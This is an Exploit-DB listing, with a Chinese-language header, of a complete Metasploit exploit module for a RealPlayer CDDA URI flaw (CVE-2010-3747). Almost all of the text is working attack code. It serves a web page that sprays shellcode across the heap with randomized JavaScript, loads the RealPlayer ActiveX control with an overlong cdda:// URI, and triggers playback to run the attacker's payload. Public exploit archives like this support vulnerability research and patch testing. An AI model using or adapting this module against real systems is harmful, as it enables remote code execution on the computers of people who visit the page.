标题: RealNetworks RealPlayer - CDDA URI Initialization (Metasploit) EDB-ID: 16998 CVE: 2010-3747 类型: REMOTE 平台: WINDOWS 发布日期: 2011-03-17 漏洞利用脚本: ##
# $Id: realplayer_cdda_uri.rb 12009 2011-03-17 15:42:28Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Remote::HttpServer::HTML

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'RealNetworks RealPlayer CDDA URI Initialization Vulnerability',
   'Description'    => %q{
     This module exploits a initialization flaw within RealPlayer 11/11.1 and 
    RealPlayer SP 1.0 - 1.1.4. An abnormally long CDDA URI causes an object 
    initialization failure. However, this failure is improperly handled and 
    uninitialized memory executed.
   },
   'License'        => MSF_LICENSE,
   'Author'         => 
    [
     'bannedit',
     'sinn3r'
    ],
   'Version'        => '$Revision: 12009 $',
   'References'     =>
    [
     [ 'CVE', '2010-3747' ],
     [ 'OSVDB', '68673'],
     [ 'BID', '44144' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-210/'],
     [ 'URL', 'http://service.real.com/realplayer/security/10152010_player/en/']
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 1000,
     'BadChars' => "\x00",
    },
   'Platform' => 'win',
   'Targets'        =>
    [
     [ 'RealPlayer SP 1.0 - 1.1.4 Universal',     { 'Ret' => 0x21212121 } ],
     [ 'RealPlayer 11.0 - 11.1 Universal',        { 'Ret' => 0x21212121 } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Nov 15 2010',
   'DefaultTarget'  => 0))
 end

 def on_request_uri(cli, request)
  # Re-generate the payload
  return if ((p = regenerate_payload(cli)) == nil)

  mytarget = target

  # the ret slide gets executed via call [esi+45b]
  retslide = [mytarget.ret].pack('V') * 750
  cdda_uri = "cdda://" +  retslide

  # Encode the shellcode
  shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))
  nops = make_nops(8)
  nop_sled = Rex::Text.to_unescape(nops, Rex::Arch.endian(target.arch))

  # Randomize Javascript variables
  var_blocks    = rand_text_alpha(rand(6)+3)
  var_shellcode = rand_text_alpha(rand(6)+3)
  var_index     = rand_text_alpha(rand(6)+3)
  var_nopsled   = rand_text_alpha(rand(6)+3)
  spray_func    = rand_text_alpha(rand(6)+3)
  obj_id        = rand_text_alpha(rand(6)+3)
  html = <<-EOS
<html>
<head>
<script>
function #{spray_func}() {
 #{var_blocks} = new Array();
 var #{var_shellcode} = unescape("#{shellcode}");
 var #{var_nopsled} = unescape("#{nop_sled}");
 do { #{var_nopsled} += #{var_nopsled} } while (#{var_nopsled}.length < 8200);
  for (#{var_index}=0; #{var_index} < 19000; #{var_index}++)
   #{var_blocks}[#{var_index}] = #{var_nopsled} + #{var_shellcode};
 }
#{spray_func}();
</script>
</head>
<object id=#{obj_id} classid='clsid:CFCDAA03-8BE4-11CF-B84B-0020AFBBCCFA' width=0 height=0>
<param name="CONTROLS" value="ControlPanel">
<param name="src" value="#{cdda_uri}">
</object>
<script language="VBScript">
#{obj_id}.DoPlay
</script>
</html>
EOS
  print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
  send_response(cli, html, { 'Content-Type' => 'text/html' })
 end
end URL: https://www.exploit-db.com/exploits/16998